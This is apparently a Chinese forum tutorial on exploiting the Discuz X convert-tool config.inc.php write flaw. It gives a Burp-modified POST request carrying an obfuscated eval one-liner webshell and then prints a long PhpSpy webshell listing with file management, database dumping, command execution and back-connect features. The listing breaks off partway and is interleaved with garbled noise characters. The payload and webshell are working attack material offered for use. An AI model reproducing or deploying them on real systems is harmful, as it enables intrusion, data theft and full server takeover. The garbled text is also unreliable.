网络安全实战之discuz上传漏洞利用

fudyou

攻击思路：
想要拿下一台主机A的权限：
( G0 u" j6 q0 q& O: g, t1、了解一下这个服务器：端口，服务器版本，操作系统版本。找漏洞
3 p. A3 U+ L0 v: f0 u; ^2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器，就利用对方网站应用程序的漏洞，上传webshell然后提权
4 P1 Y9 z2 Y& [1 L7 h3、传上去后，得到apache用户普通权限，再提权成root
, m; q" A$ ]  q概述：
这突破在一个DZ X系列自带的转换工具里面。
6 }; C. c$ E) ]+ r7 J漏洞路径：utility / convert / data / config.inc.php
漏洞发生的原因是：config.inc.php这个文件在黑客通过post写入时，无仸何过滤检测，所以通过post方式往config。inc.php中写木马程序。
; u/ `& t% m* O  N; t/ y) S触发突破过程：
6 h, Z+ T" }1 f1 b) M1 V1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
2、使用/utility/convert/index.php迚行版本转换3，config.inc.php文件没有做过滤，可以使用POST方法对config.inc.php注入木马程序
攻击过程：
1、打开burp设置报文拦截，然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
4 B5 ^# Z' W+ |* X6 `

  ~, ?, N2 g! }7 x. N6 Q7 @2，右键单击空白处，选择发送到中继器，将报文发到中继器

3、然后在中继器中查看信息：

4、修改第一行：GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval（）凼数中的eval是评估的简称，这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径：http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细：

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展：^ M符号^ M字符的来历和作用：在DOS/Windows里，文本文件的换行符为\r \n，而在linux系统里则为\n，所以DOS/Windows里编辑过的文本文件到了linux里，每一行都多了个^ M。所以^ M只是一个换行符号，没有实际的用处，我们可以将它保留，也可以将它删除，％0a％0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马

8、通过中国蚁剑上传大码


5 \$ h, F2 v+ m# L5 R: |: o10、任意机器访问我们的webshell2.php木马文件，浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码：cmd

webshell代码如下：

1. <?php
   
2. 
   , _" U! T7 n* v. D2 d' C
3. /*****************************************************************************
   & C* [2 X" M& x  a6 w' @: p1 q3 X
4. 
   
5. ===================== 请误用于非法用途，造成一切后果与本人无关。====================
   8 x, {% c. _* K4 w
6. 
   
7. ====
   
8. 
   ( c- K6 v5 j3 Y7 F% U' {; o' U
9. 
   
10. *****************************************************************************/
    1 ]; \3 s" L0 t1 S, @
11. 
    . Z" i; f% E' |9 D# Y, E3 h
12. error_reporting(7);
    
13. @set_magic_quotes_runtime(0);
    
14. ob_start();
    
15. $mtime = explode(' ', microtime());
    
16. $starttime = $mtime[1] + $mtime[0];
    + j1 Q! y, F- H+ s7 }& @
17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
    
18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    8 ?$ A& D) q( K( O
19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    
20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    + ]% {7 P! K' H! \- E9 I- i
21. define('IS_GPC', get_magic_quotes_gpc());
    " A  O+ y& I# n. L& t3 O$ z
22. $dis_func = get_cfg_var('disable_functions');
    9 P9 A; Y$ X1 f
23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    
24. @set_time_limit(0);
    
25. 
    * c  f& @9 ~. C0 o
26. foreach(array('_GET','_POST') as $_request) {
    ) @- m( ~, ]9 y0 K$ t
27.         foreach($$_request as $_key => $_value) {
    ' x" R0 |1 L) B+ c& E
28.                 if ($_key{0} != '_') {
    
29.                         if (IS_GPC) {
    
30.                                 $_value = s_array($_value);
    ; ^) n+ B  K, v( L, q
31.                         }
    
32.                         $$_key = $_value;
    
33.                 }
    / r1 z0 ^/ x, W6 D3 [$ g
34.         }
    
35. }
    
36. 
    6 H3 S& Z6 @6 L* B/ z% W( T) {
37. /*===================== 程序配置 =====================*/
    
38. $admin = array();
    
39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    5 I. T& n7 v% H/ V* a# _. ]5 {& H
40. $admin['check'] = true;
    
41. // 如果需要密码验证,请修改登陆密码
    3 r& A! R# [1 h1 D
42. $admin['pass']  = 'xuegod';
    
43. 
    
44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    
45. // cookie 前缀
    ; L: u& C2 Y+ l0 z
46. $admin['cookiepre'] = '';
    ( y8 c3 ~, j# I
47. // cookie 作用域
    & d; h3 E- K+ g/ j
48. $admin['cookiedomain'] = '';
    
49. // cookie 作用路径
    
50. $admin['cookiepath'] = '/';
    
51. // cookie 有效期
    $ ]3 l1 O8 m: F, T# v8 c9 @9 s0 }
52. $admin['cookielife'] = 86400;
    9 t0 {) U2 Y1 [/ |
53. /*===================== 配置结束 =====================*/
    % j5 |8 F4 R3 G9 L# e  @
54. 
    
55. if ($charset == 'utf8') {
    
56.         header("content-Type: text/html; charset=utf-8");
    
57. } elseif ($charset == 'big5') {
    
58.         header("content-Type: text/html; charset=big5");
    
59. } elseif ($charset == 'gbk') {
    . c- W1 R! K, A7 Z
60.         header("content-Type: text/html; charset=gbk");
    
61. } elseif ($charset == 'latin1') {
    " p  ~8 [2 J1 w6 F( Z
62.         header("content-Type: text/html; charset=iso-8859-2");
    4 {% f% |; q  j& F" ?
63. }
    
64. 
    + \+ O! b- ?3 K+ E: ~8 X/ o
65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    
66. $timestamp = time();
    
67. 
    4 c0 B0 t! r# G  W. E0 b5 A
68. /*===================== 身份验证 =====================*/
    ; a+ g% ^3 d# C9 J9 m+ ?5 X
69. if ($action == "logout") {
    
70.         scookie('phpspypass', '', -86400 * 365);
    
71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    3 f( ^$ _% L: G" d" A" a* O1 u
72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    
73.         exit;
    & i/ V7 q3 c1 p# _; [
74. }
    * X& g. p- U+ r
75. if($admin['check']) {
    
76.         if ($doing == 'login') {
    
77.                 if ($admin['pass'] == $password) {
    ) b8 }. F, P5 ]  P7 r7 G& Q% g
78.                         scookie('phpspypass', $password);
    
79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    7 @9 u" I/ a$ j8 p' ]
80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    ! p& s1 m1 j" U5 `7 u+ x+ G" p
81.                         exit;
    9 }, K+ m3 m( `6 {. g& C
82.                 }
    
83.         }
    
84.         if ($_COOKIE['phpspypass']) {
    ( O& |6 w( ^  `
85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
    
86.                         loginpage();
    
87.                 }
    
88.         } else {
    + a! I; R4 z& U8 z
89.                 loginpage();
    : ]5 j& G2 q! x0 [
90.         }
    8 P# L# l. G4 T' Y1 ^
91. }
    
92. /*===================== 验证结束 =====================*/
    
93. 
    
94. $errmsg = '';
    
95. 
    0 t3 K1 V$ l* f4 A  s2 p
96. // 查看PHPINFO
    
97. if ($action == 'phpinfo') {
    - w" g2 P( h& c, i+ C
98.         if (IS_PHPINFO) {
    
99.                 phpinfo();
    
100.         } else {
     ) p, b2 P. j9 n7 S7 I
101.                 $errmsg = 'phpinfo() function has non-permissible';
     " {. f7 _8 U5 G4 X. o3 G: y/ q$ l
102.         }
     ; P0 Z( o6 I8 F
103. }
     
104. 
     9 r) l2 l% k5 m5 t- ^1 x% O
105. // 下载文件
     
106. if ($doing == 'downfile' && $thefile) {
     ! u1 u. O* D5 }0 E
107.         if (!@file_exists($thefile)) {
     
108.                 $errmsg = 'The file you want Downloadable was nonexistent';
     
109.         } else {
     ! f  @2 Y  C* @! V6 g1 t
110.                 $fileinfo = pathinfo($thefile);
     : q0 p! s  B! N- L2 w- h: o
111.                 header('Content-type: application/x-'.$fileinfo['extension']);
     % Y% p6 P# O) c! r3 n+ [
112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     - ]% ]) a* d& ]) t6 j- Y- O% \* Z8 D
113.                 header('Content-Length: '.filesize($thefile));
     8 B/ i9 ?/ X" ]* p) o% V- e
114.                 @readfile($thefile);
     
115.                 exit;
     
116.         }
     
117. }
     
118. 
     
119. // 直接下载备份数据库
     : L- p" W  \* ~# R0 [( d" l
120. if ($doing == 'backupmysql' && !$saveasfile) {
     
121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     
122.         $table = array_flip($table);
     : r: I: h6 p4 g" G2 H# @
123.         $result = q("SHOW tables");
     
124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
     
125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
     % {! P& n/ \/ A* i: w( J
126.         header('Content-type: application/unknown');
     
127.         header('Content-Disposition: attachment; filename='.$filename);
     
128.         $mysqldata = '';
     
129.         while ($currow = mysql_fetch_array($result)) {
     9 b8 n9 q# H, \3 `2 C
130.                 if (isset($table[$currow[0]])) {
     - P: N6 i0 D' J3 A: d. ~4 M$ j
131.                         $mysqldata .= sqldumptable($currow[0]);
     
132.                 }
     * @0 T! Q5 N; L. f) }
133.         }
     
134.         mysql_close();
     
135.         exit;
     
136. }
     
137. 
     
138. // 通过MYSQL下载文件
     
139. if($doing=='mysqldown'){
     ) B( t2 o2 U9 r* q" ~
140.         if (!$dbname) {
     - v$ c2 m" }6 K9 u4 t$ o0 e
141.                 $errmsg = 'Please input dbname';
     
142.         } else {
     / I  J; q7 L4 e4 ?# r. `4 F5 K& X* p
143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     
144.                 if (!file_exists($mysqldlfile)) {
     7 ^0 B0 G2 T; O+ n2 m; Z4 U
145.                         $errmsg = 'The file you want Downloadable was nonexistent';
     
146.                 } else {
     " F6 q5 R# l; M/ }( a
147.                         $result = q("select load_file('$mysqldlfile');");
     3 O# L) \+ ~6 K; C9 ?8 E9 B+ T
148.                         if(!$result){
     % H/ W/ R% ?, _
149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
     7 ]* ]: F; I) t- T$ L3 A8 g/ D
150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
     
151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
     
152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
     8 H3 r6 L+ |9 S
153.                                 $result = q("select content from tmp_angel");
     + B3 ]' P: a  o
154.                                 q("DROP TABLE tmp_angel");
     
155.                         }
     
156.                         $row = @mysql_fetch_array($result);
     7 P4 ~5 q' \  P! l# K1 y) z% b* n% q5 }
157.                         if (!$row) {
     2 Q4 z$ N: y- ?& j; W" o! w
158.                                 $errmsg = 'Load file failed '.mysql_error();
     
159.                         } else {
     
160.                                 $fileinfo = pathinfo($mysqldlfile);
     
161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
     
162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     
163.                                 header("Accept-Length: ".strlen($row[0]));
     * N1 I+ f; e' {. q
164.                                 echo $row[0];
     4 h! U4 s4 ?$ u! `
165.                                 exit;
     
166.                         }
     : E# K4 b$ r2 ]
167.                 }
     1 w4 M. C2 H3 t2 `# \3 I. {
168.         }
     
169. }
     
170. 
     " l0 e+ e6 }% b$ u9 I
171. ?>
     
172. <html>
     7 X4 q% h0 B9 e; X$ |
173. <head>
     . v' `. r4 J  }7 Z  q  |: D- _
174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
     
175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
     
176. <style type="text/css">
     ; C! S' W) @2 F9 s) E' }; y
177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
     5 r8 [7 j8 C+ L: s, a& z4 c
178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
     
179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
     " L, ?6 G% }/ y+ U1 K% J  n
180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
     5 Q8 @( Y" n8 o9 G
181. a {color: #00f;text-decoration:underline;}
     
182. a:hover{color: #f00;text-decoration:none;}
     
183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
     ( ]3 _; ?" [& M  m# \- Z5 A
184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
     
185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
     & G5 ~% K+ b2 W1 \+ u
186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
     
187. .head td span{font-weight:normal;}
     % j/ q2 _4 x" `( ]
188. form{margin:0;padding:0;}
     / w9 u7 U7 G, X0 J( q( _7 l4 o" }
189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
     
190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
     ' z4 i4 h& U, ~! Y/ x! i5 _- [
191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
     
192. </style>
     
193. <script type="text/javascript">
     
194. function CheckAll(form) {
       O# I+ E8 Y. Q* P5 w. r9 C
195.         for(var i=0;i<form.elements.length;i++) {
     
196.                 var e = form.elements[i];
     
197.                 if (e.name != 'chkall')
     
198.                 e.checked = form.chkall.checked;
     
199.     }
     
200. }
     
201. function $(id) {
     
202.         return document.getElementById(id);
     % G# J2 B1 W% [/ B
203. }
     8 `! k* t9 {& l1 q. W
204. function goaction(act){
     
205.         $('goaction').action.value=act;
     
206.         $('goaction').submit();
     
207. }
     0 Z7 f$ L7 X$ `4 e2 @6 \9 X, ^% L6 Z
208. </script>
     9 r2 U. h7 R3 Z: w5 K# s1 w& G' E7 k
209. </head>
     - K, W9 o7 }) t# B, s& r8 A
210. <body style="margin:0;table-layout:fixed; word-break:break-all">
     
211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
     / p/ V/ _9 @! J% z4 h# X
212.         <tr class="head">
     
213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
     
214.         </tr>
     ) y  ?0 ]3 d' }9 N' _$ F6 N2 P
215.         <tr class="alt1">
     9 g0 r6 H! z# n1 Z
216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
     & ^6 @0 ?# E. n- D. z
217.                         <a href="javascript:goaction('logout');">Logout</a> |
     % \: }- {1 C; E, @! E( f" Z
218.                         <a href="javascript:goaction('file');">File Manager</a> |
     
219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
     
220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
     
221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
     " x! w6 J# x6 t& I! u
222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
       w6 u$ m, I& H+ v1 t
223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
     
224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
     
225.                 </td>
     7 W" m- D  f* Y. G; ?
226.         </tr>
     
227. </table>
     % n6 U  P4 v! c# G+ U
228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
     
229. <?php
     * }( a2 T9 z& b; O* C. n
230. 
     
231. formhead(array('name'=>'goaction'));
     
232. makehide('action');
     % E6 q3 ?: K, H; U, n
233. formfoot();
     $ d4 s- }% g7 H& D3 |! N
234. 
     
235. $errmsg && m($errmsg);
     
236. 
     
237. // 获取当前路径
     
238. !$dir && $dir = '.';
     - O, ]4 c8 p- n/ X, O
239. $nowpath = getPath(SA_ROOT, $dir);
     
240. if (substr($dir, -1) != '/') {
     3 F: k% h: H0 [$ n9 F) y
241.         $dir = $dir.'/';
     . d8 g  p" M4 |4 ?2 F9 y
242. }
     
243. $uedir = ue($dir);
     
244. 
     7 K9 t0 E! j8 a& B' O: X. M9 i
245. if (!$action || $action == 'file') {
     
246. 
     ' A+ H, Y& m2 p0 d" t/ ]
247.         // 判断读写情况
     " L/ c, g& h/ i% M7 y+ c5 I
248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
     
249. 
     . n. u. {. ?7 U: @/ D# J
250.         // 删除目录
     ) u+ F# a. h7 \0 o
251.         if ($doing == 'deldir' && $thefile) {
     
252.                 if (!file_exists($thefile)) {
     
253.                         m($thefile.' directory does not exist');
     ! b9 x" E2 a/ X8 v5 x
254.                 } else {
     
255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
     
256.                 }
     ; J1 F& W8 r' m; `. D3 _
257.         }
     1 f8 U) A, F0 S" \
258. 
     4 r, z0 a  X- E4 M: I# F4 `
259.         // 创建目录
     
260.         elseif ($newdirname) {
     
261.                 $mkdirs = $nowpath.$newdirname;
     ) d; C4 o7 M. j2 y$ F9 D/ k1 E& g
262.                 if (file_exists($mkdirs)) {
     
263.                         m('Directory has already existed');
     ' s: [6 x  G# U1 b+ ]+ J3 [
264.                 } else {
     
265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
     
266.                         @chmod($mkdirs,0777);
     7 U7 d2 [2 X5 w- B5 B
267.                 }
     
268.         }
     3 \- R. d$ X+ Y  U1 [+ t0 I6 L
269. 
     % Z, I9 _& x* X
270.         // 上传文件
     0 b" g, k5 i& f' o5 ~$ P
271.         elseif ($doupfile) {
     
272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
     
273.         }
     8 R6 y( J1 I, S0 `* t$ E: z
274. 
     + y) l6 w4 w! F. S0 M8 S/ x) h( D
275.         // 编辑文件
     
276.         elseif ($editfilename && $filecontent) {
     
277.                 $fp = @fopen($editfilename,'w');
     0 g2 Z, t- p/ ^. R- F+ J6 S2 I, f
278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
     ( Y9 ]8 A0 s$ N& s, w; R
279.                 @fclose($fp);
     / i& |6 W  H) w: x
280.         }
     
281. 
     
282.         // 编辑文件属性
     : f) X# }" [9 m  u- W
283.         elseif ($pfile && $newperm) {
     4 G' o0 d5 ?! e/ K
284.                 if (!file_exists($pfile)) {
     # |- ]5 l5 R$ V* G
285.                         m('The original file does not exist');
     " S: N$ |4 M' ^& Z8 V( L& X
286.                 } else {
     0 i+ g- p. w: G: R1 y  T
287.                         $newperm = base_convert($newperm,8,10);
     " f( j, }: F. ^# M) ]' l! t/ e
288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
     
289.                 }
     
290.         }
     
291. 
     
292.         // 改名
     / |2 p2 D+ }) r6 I, a
293.         elseif ($oldname && $newfilename) {
     7 M7 x8 s/ ^4 n8 ^
294.                 $nname = $nowpath.$newfilename;
     + g0 w! L( ]7 C- H$ I
295.                 if (file_exists($nname) || !file_exists($oldname)) {
     $ t7 m- V5 E) ~4 ^. X
296.                         m($nname.' has already existed or original file does not exist');
     ( U/ t; j' o# n  i/ s
297.                 } else {
     9 |- e) e: L) T7 f; ~
298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
     $ k9 W: w$ `' D: F9 W/ p
299.                 }
     
300.         }
     
301. 
     
302.         // 复制文件
     
303.         elseif ($sname && $tofile) {
     " m4 U, I& ~# _  c
304.                 if (file_exists($tofile) || !file_exists($sname)) {
     
305.                         m('The goal file has already existed or original file does not exist');
     
306.                 } else {
     
307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
     5 c& k, D+ ^! S/ V
308.                 }
     
309.         }
     
310. 
     
311.         // 克隆时间
     
312.         elseif ($curfile && $tarfile) {
     
313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
     
314.                         m('The goal file has already existed or original file does not exist');
     
315.                 } else {
     
316.                         $time = @filemtime($tarfile);
     6 |% [0 u2 P# o$ c9 u3 s( S
317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     
318.                 }
     
319.         }
     
320. 
     
321.         // 自定义时间
     
322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
     
323.                 if (!@file_exists($curfile)) {
     
324.                         m(basename($curfile).' does not exist');
     # W- Z' X4 [% B% S
325.                 } else {
     
326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
     - w0 ]/ a1 _4 w/ D* _- E3 P
327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     : W9 o# [5 P5 N3 V+ c& c3 g5 Y. X& p# U4 p5 I
328.                 }
     . ?% ?& g: |  [7 R* ~1 V" ~
329.         }
     4 G  h" |& i/ \% w+ l
330. 
     
331.         // 打包下载
     ) [' z/ q0 ^$ L/ J. e
332.         elseif($doing == 'downrar') {
     
333.                 if ($dl) {
     ( x# F) p  f! X+ W' N
334.                         $dfiles='';
     4 y7 i( i" K$ S: a6 q! K( ]
335.                         foreach ($dl as $filepath => $value) {
     ; {( h; R6 E3 n- F2 ^( v
336.                                 $dfiles.=$filepath.',';
     
337.                         }
     
338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
     
339.                         $dl=explode(',',$dfiles);
     0 d) U! S# h" h  ?% |9 Z2 r: v# z2 m
340.                         $zip=new PHPZip($dl);
     
341.                         $code=$zip->out;
     
342.                         header('Content-type: application/octet-stream');
     
343.                         header('Accept-Ranges: bytes');
     
344.                         header('Accept-Length: '.strlen($code));
     
345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
     
346.                         echo $code;
     & u1 U  P  T# k& m
347.                         exit;
     
348.                 } else {
     ) ~1 u5 J  U7 i: e# I1 I
349.                         m('Please select file(s)');
     * K1 `: T; u  g! P
350.                 }
     
351.         }
     * {' q% J* x, P( e1 z
352. 
     4 f! }6 e0 l7 k5 ?( d
353.         // 批量删除文件
     1 X% |! W+ \. C9 Z- ]! \
354.         elseif($doing == 'delfiles') {
     
355.                 if ($dl) {
     
356.                         $dfiles='';
     
357.                         $succ = $fail = 0;
     
358.                         foreach ($dl as $filepath => $value) {
     - r" I8 s" |: I$ X
359.                                 if (@unlink($filepath)) {
     
360.                                         $succ++;
     : G4 V+ y0 p1 X( ?0 d( l
361.                                 } else {
     # A- b; Q5 K$ P5 ~, j
362.                                         $fail++;
     0 d( F4 M0 P" o6 U4 F
363.                                 }
     ( p" ?* D- `- `# A2 [* r( Q& G, N8 |
364.                         }
     
365.                         m('Deleted file have finished，choose '.count($dl).' success '.$succ.' fail '.$fail);
     0 T' X. n7 x: R
366.                 } else {
     
367.                         m('Please select file(s)');
     
368.                 }
     
369.         }
     ' i, Q7 u/ u1 G3 _& P
370. 
     3 _7 B0 l6 F% H* ^
371.         //操作完毕
     
372.         formhead(array('name'=>'createdir'));
     + {0 L% f! ?$ t
373.         makehide('newdirname');
     " c3 _4 ?) C  N# B
374.         makehide('dir',$nowpath);
     
375.         formfoot();
     2 u5 L2 l3 p  F$ k
376.         formhead(array('name'=>'fileperm'));
     
377.         makehide('newperm');
     # d! k# u: y2 k7 e1 J6 q; g3 [
378.         makehide('pfile');
       m. y/ Q7 R' ]1 j
379.         makehide('dir',$nowpath);
     ; m+ q4 L* U+ B; u7 }
380.         formfoot();
     
381.         formhead(array('name'=>'copyfile'));
     
382.         makehide('sname');
     
383.         makehide('tofile');
     # w* f: z. C+ X! l0 W4 N, Y
384.         makehide('dir',$nowpath);
     
385.         formfoot();
     
386.         formhead(array('name'=>'rename'));
     
387.         makehide('oldname');
     
388.         makehide('newfilename');
     
389.         makehide('dir',$nowpath);
     
390.         formfoot();
     
391.         formhead(array('name'=>'fileopform'));
     
392.         makehide('action');
     
393.         makehide('opfile');
     / q) s" R& g/ n. k, B4 c/ `: k
394.         makehide('dir');
     
395.         formfoot();
     
396. 
     # _. _* B, c" H
397.         $free = @disk_free_space($nowpath);
     - i8 U" [+ N# Z6 z
398.         !$free && $free = 0;
     
399.         $all = @disk_total_space($nowpath);
     8 _* \) T; f6 o9 d2 U  s  i1 R
400.         !$all && $all = 0;
     
401.         $used = $all-$free;
     ) A8 e0 o8 F" x% H: k# m' _
402.         $used_percent = @round(100/($all/$free),2);
     - B* v( [3 v$ Q7 ]! P: w
403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
     & C1 ?! C5 s+ Y6 D  [- ?
404. 
     
405. ?>
     ( J. c. v+ e" f. k8 |1 Z
406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
     # t& q# \1 W, {- r6 p9 U4 ?6 \
407.   <form action="" method="post" id="godir" name="godir">
     
408.   <tr>
     3 c3 g  z" a4 v1 }  ~' V
409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
     % I/ ^2 y+ y3 ^
410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
     0 @) C+ ]/ `3 l2 r: t: W& y
411.     <td nowrap><input class="bt" value="GO" type="submit"></td>
     
412.   </tr>
     % c' i: q5 [/ Q! P& n7 N
413.   </form>
     % b2 k! H* n5 N. w. j9 ]2 D
414. </table>
     
415. <script type="text/javascript">
     
416. function createdir(){
     ; c6 h; i7 d: w" E' ]  q9 J
417.         var newdirname;
     
418.         newdirname = prompt('Please input the directory name:', '');
     1 ]* a/ @5 r" v, `, V: F
419.         if (!newdirname) return;
     ; {: n$ K1 L+ M3 q4 O8 W5 o
420.         $('createdir').newdirname.value=newdirname;
     8 h7 \( Y& K, ~! C; v+ Y% U) c
421.         $('createdir').submit();
     % r; e! O- c0 z# v4 c8 E3 j
422. }
     
423. function fileperm(pfile){
     # |+ q2 x" p9 t, A) K
424.         var newperm;
     ' _$ Q- u2 H' S( i" Z. g! u
425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
     1 W) T( _. w5 W( n1 X, E, W) O
426.         if (!newperm) return;
     
427.         $('fileperm').newperm.value=newperm;
     
428.         $('fileperm').pfile.value=pfile;
     
429.         $('fileperm').submit();
     
430. }
     6 [! o1 M/ e2 A+ j. r0 S1 H
431. function copyfile(sname){
     5 [* Y1 Y# @- P4 U* X
432.         var tofile;
     7 o8 z) K9 O  Z1 @7 K% D+ l
433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
     
434.         if (!tofile) return;
     4 ?, z/ N0 X, c: S
435.         $('copyfile').tofile.value=tofile;
     
436.         $('copyfile').sname.value=sname;
     & u. G8 i! v# Z. t; i, I+ e% @
437.         $('copyfile').submit();
     ! k" u3 o2 m8 d  n
438. }
     
439. function rename(oldname){
     
440.         var newfilename;
     
441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
     7 v6 i0 i. U4 S$ e; d  }6 `1 c: e
442.         if (!newfilename) return;
     
443.         $('rename').newfilename.value=newfilename;
     ' v# I1 r& m# X/ i
444.         $('rename').oldname.value=oldname;
     ! v! J- M" c2 Q: L- I
445.         $('rename').submit();
     
446. }
     
447. function dofile(doing,thefile,m){
     ) w7 z* i) k% q. Q" b
448.         if (m && !confirm(m)) {
     
449.                 return;
     # K7 C2 u( @* L8 P
450.         }
     
451.         $('filelist').doing.value=doing;
     , b) U) J4 G' b3 x( p) ^
452.         if (thefile){
     ! e4 W1 n# }+ Z1 B) _
453.                 $('filelist').thefile.value=thefile;
     $ C7 n! r4 W# A, q) i! ?/ K, ?
454.         }
     ! v2 R1 A- r9 D8 X" {7 J2 ]2 R
455.         $('filelist').submit();
     7 L( c) i. U7 \5 V
456. }
     
457. function createfile(nowpath){
       D8 ~5 D: {+ f6 z3 {4 M
458.         var filename;
     
459.         filename = prompt('Please input the file name:', '');
     
460.         if (!filename) return;
     
461.         opfile('editfile',nowpath + filename,nowpath);
     
462. }
     1 u7 s6 ^9 `/ p4 |! S0 R8 e7 ?
463. function opfile(action,opfile,dir){
     & H) P+ s5 i) ?0 I
464.         $('fileopform').action.value=action;
     
465.         $('fileopform').opfile.value=opfile;
     
466.         $('fileopform').dir.value=dir;
